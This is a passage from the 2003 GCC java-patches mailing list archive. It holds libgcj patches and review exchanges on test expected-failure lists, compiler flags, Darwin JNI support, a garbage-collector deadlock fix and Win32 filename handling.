/cvs/gcc/gcc/libjava/testsuite/libjava.jacks/jacks.xfail,v retrieving revision 1.5 diff -u -r1.5 jacks.xfail --- libjava/testsuite/libjava.jacks/jacks.xfail 24 Feb 2003 02:15:22 -0000 1.5 +++ libjava/testsuite/libjava.jacks/jacks.xfail 10 Mar 2003 16:37:23 -0000 @@ -7,7 +7,6 @@ 14.7-shadow-3 14.3-1 14.3-scope-2 -14.3-scope-3 14.3-scope-4 14.3-scope-5 14.3-scope-9 @@ -167,7 +166,7 @@ 8.8.5.1-qualified-15 8.8.7-inaccessible-default-constructor-toplevel-2 8.8.7-accessible-default-constructor-inner-18 -8.8.7-accessible-default-constructor-inner-20 +8.8.7-accessible-default-constructor-inner-26 8.3-inheritance-1 8.3-inheritance-2 8.3-inheritance-3 @@ -427,13 +426,19 @@ 15.9.5.1-exception-3 15.9.5.1-exception-4 15.9.3-choosing-4 +15.9.1-unqualified-anonymous-2 +15.9.1-unqualified-anonymous-4 +15.9.1-unqualified-anonymous-5 +15.9.1-unqualified-anonymous-12 +15.9.1-unqualified-anonymous-14 +15.9.1-unqualified-anonymous-15 15.9.1-unqualified-anonymous-23 -15.9.1-unqualified-anonymous-25 +15.9.1-unqualified-anonymous-24 15.9.1-unqualified-anonymous-26 15.9.1-unqualified-anonymous-27 15.9.1-qualified-anonymous-2 -15.9.1-qualified-anonymous-6 -15.9.1-qualified-anonymous-7 +15.9.1-qualified-anonymous-4 +15.9.1-qualified-anonymous-5 15.9.1-qualified-anonymous-10 15.9.1-qualified-anonymous-12 15.9.1-qualified-anonymous-13 @@ -444,12 +449,14 @@ 15.9.1-qualified-anonymous-22 15.9.1-qualified-anonymous-26 15.9.1-qualified-anonymous-28 -15.9.1-unqualified-concrete-6 -15.9.1-unqualified-concrete-7 +15.9.1-unqualified-concrete-2 +15.9.1-unqualified-concrete-4 +15.9.1-unqualified-concrete-5 15.9.1-unqualified-concrete-10 15.9.1-unqualified-concrete-14 -15.9.1-qualified-concrete-6 -15.9.1-qualified-concrete-7 +15.9.1-unqualified-concrete-15 +15.9.1-qualified-concrete-4 +15.9.1-qualified-concrete-5 15.9.1-qualified-concrete-10 15.9.1-qualified-concrete-12 15.9.1-qualified-concrete-14 @@ -573,6 +580,7 @@ 15.14.2-final-3 15.14.1-final-2 15.14.1-final-3 +15.8.2-synthetic-1 15.8.2-type-11 15.8.2-type-12 15.8.2-type-13 @@ -664,13 +672,14 @@ 6.5.4.1-simple-11 6.5.1-type-15 6.5.1-type-16 -6.5.1-type-19 6.5.1-typeorpackage-2 6.5.5.2-type-4 6.5.5.2-type-5 6.5.5.2-type-6 6.5.5.2-type-7 6.5.5.2-type-8 +6.5.5.1-import-2 +6.5.5.1-import-3 6.5.5.1-nested-4 6.5.5.1-nested-7 6.5.5.1-nested-8 @@ -683,17 +692,27 @@ 6.5.5.1-nested-21 6.5.5.1-nested-23 6.3-1 -7.4.2-subpackage-1 -7.4.2-subpackage-2 +7.4.2-2 7.5.1-canonical-3 -7.5.1-accessible-1 +7.5.1-accessible-4 +7.5.1-accessible-5 7.5.1-duplicate-4 +7.5.1-shadow-2 +7.5.2-canonical-2 7.5.2-canonical-3 7.5.2-accessible-1 7.5.2-accessible-3 +7.5.2-accessible-4 +7.5.2-duplicate-1 +7.5.2-duplicate-2 7.5.2-duplicate-3 +7.5.2-duplicate-4 +7.1-named-5 +7.1-named-6 7.1-named-7 +7.6-optional-restrictions-1 7.6-unnamed-scope-1 +7.6-unnamed-scope-2 4.5.4-static-1 4.5.4-static-5 4.5.4-parameter-2 @@ -720,6 +739,7 @@ 13.1-runtime-constant-1 13.1-runtime-constant-3 13.1-runtime-field-1 +13.4.8-constant-runtime-1 14-runtime-jump-1 14-runtime-jump-2 14.3.1-runtime-3 @@ -763,3 +783,4 @@ 15.20-2-runtime-1 15.15-runtime-3 15.15-runtime-4 +14.19.2-runtime-try-1 From java-patches-return-6424-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 17:26:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25525 invoked by alias); 10 Mar 2003 17:26:49 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25502 invoked from network); 10 Mar 2003 17:26:47 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 10 Mar 2003 17:26:47 -0000 Received: from fleche.redhat.com (tf0021.peakpeak.com [204.144.239.21]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA03687; Mon, 10 Mar 2003 10:26:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B8D954F8610; Mon, 10 Mar 2003 10:20:04 -0700 (MST) To: java-patches@gcc.gnu.org Subject: Patch: FYI: libgcj and no-deprecated in makefile From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: BARRY.. That was the most HEART-WARMING rendition of ``I DID IT MY WAY'' I've ever heard!! Date: 10 Mar 2003 10:20:04 -0700 Message-ID: <87d6kzrvej.fsf@fleche.redhat.com> Lines: 39 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk. We weren't passing -Wno-deprecated to the compiler when building the .class files. This fixes the problem. Tom Index: ChangeLog from Tom Tromey * Makefile.in: Rebuilt. * Makefile.am (GCJ_WITH_FLAGS): Added -Wno-deprecated. (JC1FLAGS): Removed -Wno-deprecated. Index: Makefile.am =================================================================== RCS file: /cvs/gcc/gcc/libjava/Makefile.am,v retrieving revision 1.284 diff -u -r1.284 Makefile.am --- Makefile.am 3 Mar 2003 14:36:48 -0000 1.284 +++ Makefile.am 10 Mar 2003 17:24:26 -0000 @@ -72,7 +72,7 @@ ## The compiler with whatever flags we want for both -c and -C ## compiles. -GCJ_WITH_FLAGS = $(GCJ) --encoding=UTF-8 +GCJ_WITH_FLAGS = $(GCJ) --encoding=UTF-8 -Wno-deprecated GCJCOMPILE = $(LIBTOOL) --tag=GCJ --mode=compile $(GCJ_WITH_FLAGS) -fclasspath= -fbootclasspath=$(here) $(JC1FLAGS) -MD -MT $@ -MF $(@:.lo=.d) -c GCJLINK = $(LIBTOOL) --tag=GCJ --mode=link $(GCJ) -L$(here) $(JC1FLAGS) $(LDFLAGS) -o $@ @@ -105,7 +105,7 @@ endif JCFLAGS = -g -JC1FLAGS = @LIBGCJ_JAVAFLAGS@ -Wno-deprecated $(GCJFLAGS) +JC1FLAGS = @LIBGCJ_JAVAFLAGS@ $(GCJFLAGS) LIBFFIINCS = @LIBFFIINCS@ From java-patches-return-6425-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 18:27:31 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28893 invoked by alias); 10 Mar 2003 18:27:30 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28886 invoked from network); 10 Mar 2003 18:27:29 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Mar 2003 18:27:29 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id ECE81ABB06; Mon, 10 Mar 2003 18:27:26 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2AIROq27677; Mon, 10 Mar 2003 18:27:24 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15980.55564.613574.973440@cuddles.cambridge.redhat.com> Date: Mon, 10 Mar 2003 18:27:24 +0000 (GMT) To: gnustuff@thisiscool.com Cc: GCJ Patches Subject: Re: Outstanding patches In-Reply-To: <31A8SQNK4YEB87CAGFHGTS72E9RNXRB7.3e69924a@p733> References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> <31A8SQNK4YEB87CAGFHGTS72E9RNXRB7.3e69924a@p733> Mohan Embar writes: > Andrew, > > Since we're lobbying for patches, here is my list: > > Trivial: > - #ifdef GC_DLL: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00669.html > - #if[n]def WIN32: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00670.html > - in fastjar: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00671.html This one is trivial and obviously correct. I'll check it in. > - natSocketChannelImpl.cc: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00672.html > - reorder source file: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00674.html > > Not As Trivial: > - max cmd line length: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00673.html You still haven't addressed Ranjit's objection in http://gcc.gnu.org/ml/java-patches/2003-q1/msg00679.html > - cross configury: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00676.html I don't understand this patch at all! I'll leave it to Tom... :-) Andrew. From java-patches-return-6426-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 18:32:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31677 invoked by alias); 10 Mar 2003 18:32:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31670 invoked from network); 10 Mar 2003 18:32:12 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Mar 2003 18:32:12 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id B6CBAABB05; Mon, 10 Mar 2003 18:32:06 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2AIW4e26565; Mon, 10 Mar 2003 18:32:04 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15980.55844.798637.857142@cuddles.cambridge.redhat.com> Date: Mon, 10 Mar 2003 18:32:04 +0000 (GMT) To: "Ranjit Mathew" Cc: Subject: Re: Outstanding patches In-Reply-To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Ranjit Mathew writes: > > I might have some time this weekend to look at outstanding patches. > > > > Please remind me of any patches that want attention. > > That would be very nice of you. I have the following for your > review, if possible: > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00541.html This one causes a warning. I fixed it, but patches that cause warnings aren't usually accepted. Andrew. From java-patches-return-6427-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 18:37:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2943 invoked by alias); 10 Mar 2003 18:37:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2935 invoked from network); 10 Mar 2003 18:37:05 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 10 Mar 2003 18:37:05 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E5C8D5000076AE0 for java-patches@gcc.gnu.org; Mon, 10 Mar 2003 19:37:04 +0100 Message-ID: <3E6CDB51.5000106@pop.agri.ch> Date: Mon, 10 Mar 2003 19:37:05 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3b) Gecko/20030210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Java Patch List Subject: PATCH: jni support for darwin Content-Type: multipart/mixed; boundary="------------070603020902090205020504" This is a multi-part message in MIME format. --------------070603020902090205020504 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi, this patch together with these two: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00687.html http://gcc.gnu.org/ml/java-patches/2003-q1/msg00675.html Brings the jni testcases under darwin to work, except one. Will figure out later. The first part omits an underscore in ltdl.c. This underscore is handled by dlcompat. Dlcompat is a wrapper library which offers support for dl functions under darwin. Dlcompat is necessary right now to handle dynamic libraries on darwin. The second part modifies posix.h, it changes the suffix for shared libraries under darwin to dylib. It is too less to generate an own file for this. The 'if defined uses' the builtins from darwin gcc, I didn't find another solution. Tested on 3.4 and 3.3. Ok to commit? Thanks, Andreas Running /Volumes/xufs/gcc-cvs/gcc/libjava/testsuite/libjava.jni/jni.exp ... FAIL: cxxtest.c compilation === libjava Summary === # of expected passes 62 # of unexpected failures 1 2003-03-10 Andreas Tobler * include/posix.h: Add suffix for darwin dynamic libraries. 2003-03-10 Andreas Tobler * libltdl/ltdl.c: Omit underscore under darwin. --------------070603020902090205020504 Content-Type: text/plain; name="jni-darwin-1.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="jni-darwin-1.diff" Index: libltdl/ltdl.c =================================================================== RCS file: /cvs/gcc/gcc/libjava/libltdl/ltdl.c,v retrieving revision 1.3 diff -u -r1.3 ltdl.c --- libltdl/ltdl.c 10 Sep 2000 08:04:40 -0000 1.3 +++ libltdl/ltdl.c 10 Mar 2003 18:34:44 -0000 @@ -337,8 +337,12 @@ return address; } +/* On darwin if we use dlcompat it introduces an underscore there. + * So we omit it here in sys_dl. + * We should change to real darwin library load routines. + */ static struct lt_user_dlloader sys_dl = { -# ifdef NEED_USCORE +# if defined (NEED_USCORE) && !defined(__APPLE__) && !defined(__MACH__) "_", # else 0, Index: include/posix.h =================================================================== RCS file: /cvs/gcc/gcc/libjava/include/posix.h,v retrieving revision 1.16 diff -u -r1.16 posix.h --- include/posix.h 19 Feb 2003 16:28:37 -0000 1.16 +++ include/posix.h 10 Mar 2003 18:34:44 -0000 @@ -42,7 +42,11 @@ // Prefix and suffix for shared libraries. #define _Jv_platform_solib_prefix "lib" +#if defined(__APPLE__) && defined(__MACH__) && defined(__ppc__) +#define _Jv_platform_solib_suffix ".dylib" +#else #define _Jv_platform_solib_suffix ".so" +#endif #ifndef DISABLE_JAVA_NET #include --------------070603020902090205020504-- From java-patches-return-6428-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 19:25:19 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31466 invoked by alias); 10 Mar 2003 19:25:18 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31459 invoked from network); 10 Mar 2003 19:25:17 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Mar 2003 19:25:17 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 1CA09ABB08; Mon, 10 Mar 2003 19:25:14 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2AJPBX07930; Mon, 10 Mar 2003 19:25:11 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15980.59031.712720.591423@cuddles.cambridge.redhat.com> Date: Mon, 10 Mar 2003 19:25:11 +0000 (GMT) To: "Boehm, Hans" Cc: "'tromey@redhat.com'" , "'java-patches@gcc.gnu.org'" Subject: RE: dl_iterate_phdr() deadlock patch In-Reply-To: <75A9FEBA25015040A761C1F74975667DA1370B@hplex4.hpl.hp.com> References: <75A9FEBA25015040A761C1F74975667DA1370B@hplex4.hpl.hp.com> Boehm, Hans writes: > A quick status update: > > I checked the patch into the trunk. > > I then decided to run SPECjbb on X86 as one last test before > checking it into 3.3. That failed. It turns out that > dl_iterate_phdr() apparently doesn't issue a callback for the main > executable in a completely statically linked program, though it > appears to do so if the program is linked against any dynamic > libraries. > > I am generating a small patch to work around this. Unless I hear > otherwise, I will check the result into 3.3 very soon, and update > the trunk correspondingly. No luck yet? I'm still getting failures on 3.3 branch. Andrew. From java-patches-return-6429-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 19:55:47 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13935 invoked by alias); 10 Mar 2003 19:55:47 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13923 invoked from network); 10 Mar 2003 19:55:46 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Mar 2003 19:55:46 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id AD027ABB05; Mon, 10 Mar 2003 19:55:42 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2AJtea04575; Mon, 10 Mar 2003 19:55:40 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15980.60860.351730.412104@cuddles.cambridge.redhat.com> Date: Mon, 10 Mar 2003 19:55:40 +0000 (GMT) To: "Ranjit Mathew" Cc: Subject: Re: Outstanding patches In-Reply-To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> Ranjit Mathew writes: > > I might have some time this weekend to look at outstanding patches. > > > > Please remind me of any patches that want attention. > > That would be very nice of you. I have the following for your > review, if possible: > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00541.html > > http://gcc.gnu.org/ml/java/2003-02/msg00266.html > > In addition, I noticed that the following is desirable: Done. > Index: ChangeLog > from Ranjit Mathew > > * jcf-parse.c (set_source_filename): Use COMPARE_FILENAMES > instead of strcmp to compare file names. > Use IS_DIR_SEPARATOR instead of directly comparing to > '/' and '\\'. > > * jcf-write.c (generate_classfile): Use IS_DIR_SEPARATOR > instead of directly comparing to '/' and '\\'. What does this fix? Andrew. From java-patches-return-6430-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 20:10:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19346 invoked by alias); 10 Mar 2003 20:10:02 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19337 invoked from network); 10 Mar 2003 20:10:01 -0000 Received: from unknown (HELO palrel13.hp.com) (156.153.255.238) by 172.16.49.205 with SMTP; 10 Mar 2003 20:10:01 -0000 Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33]) by palrel13.hp.com (Postfix) with ESMTP id CF0701C013A0; Mon, 10 Mar 2003 12:10:00 -0800 (PST) Received: from hplex1.hpl.hp.com (hplex1.hpl.hp.com [15.0.152.182]) by hplms2.hpl.hp.com (8.10.2/8.10.2 HPL-PA Hub) with SMTP id h2AK9xi28911; Mon, 10 Mar 2003 12:09:59 -0800 (PST) Received: from 15.0.152.182 by hplex1.hpl.hp.com (InterScan E-Mail VirusWall NT); Mon, 10 Mar 2003 12:09:58 -0800 Received: by hplex1.hpl.hp.com with Internet Mail Service (5.5.2653.19) id ; Mon, 10 Mar 2003 12:09:58 -0800 Message-ID: <75A9FEBA25015040A761C1F74975667D01441F45@hplex4.hpl.hp.com> From: "Boehm, Hans" To: "'Andrew Haley'" , "Boehm, Hans" Cc: "'tromey@redhat.com'" , "'java-patches@gcc.gnu.org'" Subject: RE: dl_iterate_phdr() deadlock patch Date: Mon, 10 Mar 2003 12:09:54 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" I checked in the patch a while ago (Mar. 4). If you're still seeing problems, that's news to me. Please post details. Is this still a deadlock? For a dynamically linked executable? Can you send gdb stack traces? Hans > -----Original Message----- > From: Andrew Haley [mailto:aph@redhat.com] > Sent: Monday, March 10, 2003 11:25 AM > To: Boehm, Hans > Cc: 'tromey@redhat.com'; 'java-patches@gcc.gnu.org' > Subject: RE: dl_iterate_phdr() deadlock patch > > > Boehm, Hans writes: > > A quick status update: > > > > I checked the patch into the trunk. > > > > I then decided to run SPECjbb on X86 as one last test before > > checking it into 3.3. That failed. It turns out that > > dl_iterate_phdr() apparently doesn't issue a callback for the main > > executable in a completely statically linked program, though it > > appears to do so if the program is linked against any dynamic > > libraries. > > > > I am generating a small patch to work around this. Unless I hear > > otherwise, I will check the result into 3.3 very soon, and update > > the trunk correspondingly. > > No luck yet? I'm still getting failures on 3.3 branch. > > Andrew. > From java-patches-return-6431-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Mon Mar 10 20:22:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26290 invoked by alias); 10 Mar 2003 20:22:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26259 invoked from network); 10 Mar 2003 20:22:52 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by 172.16.49.205 with SMTP; 10 Mar 2003 20:22:52 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-44.rdu.redhat.com [172.16.50.44]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 07C5EABB05; Mon, 10 Mar 2003 20:22:50 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2AKMlJ04604; Mon, 10 Mar 2003 20:22:47 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15980.62487.744132.625329@cuddles.cambridge.redhat.com> Date: Mon, 10 Mar 2003 20:22:47 +0000 (GMT) To: "Boehm, Hans" Cc: "'tromey@redhat.com'" , "'java-patches@gcc.gnu.org'" Subject: RE: dl_iterate_phdr() deadlock patch In-Reply-To: <75A9FEBA25015040A761C1F74975667D01441F45@hplex4.hpl.hp.com> References: <75A9FEBA25015040A761C1F74975667D01441F45@hplex4.hpl.hp.com> Boehm, Hans writes: > I checked in the patch a while ago (Mar. 4). If you're still > seeing problems, that's news to me. Please post details. Is this > still a deadlock? For a dynamically linked executable? Can you > send gdb stack traces? It could be that the test just runs for a log time rather than actually failing. I'll investigate further. Andrew. > > -----Original Message----- > > From: Andrew Haley [mailto:aph@redhat.com] > > Sent: Monday, March 10, 2003 11:25 AM > > To: Boehm, Hans > > Cc: 'tromey@redhat.com'; 'java-patches@gcc.gnu.org' > > Subject: RE: dl_iterate_phdr() deadlock patch > > > > > > Boehm, Hans writes: > > > A quick status update: > > > > > > I checked the patch into the trunk. > > > > > > I then decided to run SPECjbb on X86 as one last test before > > > checking it into 3.3. That failed. It turns out that > > > dl_iterate_phdr() apparently doesn't issue a callback for the main > > > executable in a completely statically linked program, though it > > > appears to do so if the program is linked against any dynamic > > > libraries. > > > > > > I am generating a small patch to work around this. Unless I hear > > > otherwise, I will check the result into 3.3 very soon, and update > > > the trunk correspondingly. > > > > No luck yet? I'm still getting failures on 3.3 branch. > > > > Andrew. > > From java-patches-return-6432-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 05:23:12 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26912 invoked by alias); 11 Mar 2003 05:23:12 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26903 invoked from network); 11 Mar 2003 05:23:11 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.122) by 172.16.49.205 with SMTP; 11 Mar 2003 05:23:11 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 10 Mar 2003 21:23:10 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> <15980.55844.798637.857142@cuddles.cambridge.redhat.com> Subject: Re: Outstanding patches Date: Tue, 11 Mar 2003 10:54:49 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 11 Mar 2003 05:23:10.0826 (UTC) FILETIME=[4E813CA0:01C2E78E] > > That would be very nice of you. I have the following for your > > review, if possible: > > > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00541.html > > This one causes a warning. I fixed it, but patches that cause > warnings aren't usually accepted. I'm awfully sorry about this - I didn't get it during my tests because JCF_USE_SCANDIR didn't get defined for MinGW. When I came in this morning, my mailbox had mails crying for my blood for causing this. :-( Ranjit. From java-patches-return-6433-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 05:32:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28776 invoked by alias); 11 Mar 2003 05:32:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28769 invoked from network); 11 Mar 2003 05:32:39 -0000 Received: from unknown (HELO hotmail.com) (64.4.20.204) by 172.16.49.205 with SMTP; 11 Mar 2003 05:32:39 -0000 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 10 Mar 2003 21:32:38 -0800 X-Originating-IP: [148.87.1.171] Reply-To: "Ranjit Mathew" From: "Ranjit Mathew" To: References: <15976.30370.141842.752106@cuddles.cambridge.redhat.com> <15980.60860.351730.412104@cuddles.cambridge.redhat.com> Subject: Re: Outstanding patches Date: Tue, 11 Mar 2003 11:04:18 +0530 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1123 Message-ID: X-OriginalArrivalTime: 11 Mar 2003 05:32:38.0796 (UTC) FILETIME=[A10A94C0:01C2E78F] > > Index: ChangeLog > > from Ranjit Mathew > > > > * jcf-parse.c (set_source_filename): Use COMPARE_FILENAMES > > instead of strcmp to compare file names. > > Use IS_DIR_SEPARATOR instead of directly comparing to > > '/' and '\\'. > > > > * jcf-write.c (generate_classfile): Use IS_DIR_SEPARATOR > > instead of directly comparing to '/' and '\\'. > > What does this fix? This (and the one following it, merged into a common patch later) are not "fixing" anything as such, but IMHO are The Right Thing To Do w.r.t. directory separators. The file names/name-component comparisons bits are obviously (to me) the right thing to do if one has a case-insensitive filesystem. Ranjit. From java-patches-return-6434-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 11 05:38:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29592 invoked by alias); 11 Mar 2003 05:38:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29585 invoked from network); 11 Mar 2003 05:38:28 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by 172.16.49.205 with SMTP; 11 Mar 2003 05:38:28 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2B5cQ330656 for ; Mon, 10 Mar 2003 23:38:26 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Mon, 10 Mar 2003 23:38:25 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com Message-Id: Subject: Patch for Preview: jcf-io.c and Win32 case-insensitive filename handling MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------vUTAxkkGtI5LQEOqbrDRU4" ------------vUTAxkkGtI5LQEOqbrDRU4 Content-Type: text/plain; charset="us-ascii" Hi Andrew and Ranjit, Mohan>> I'm asking this because there are a few strategic opens / fopens Mohan>> in jcf-*.c which, if you checked for the existence of the file Mohan>> of the exact case on Win32, you would get the compiler working Mohan>> on MingW. Andrew> Go for it. This proposed patch aims to resolve gcj compilation glitches due to the Win32 case-insensitive filesystem. For my native MingW build, I initially had a hacked up jcf-io.c which simulated checking the exact case of the .java or .class file to open. This is an attempt at the real deal. It also attempts to open the door at accomodating other case-insensitive filesystems. I would have liked to do 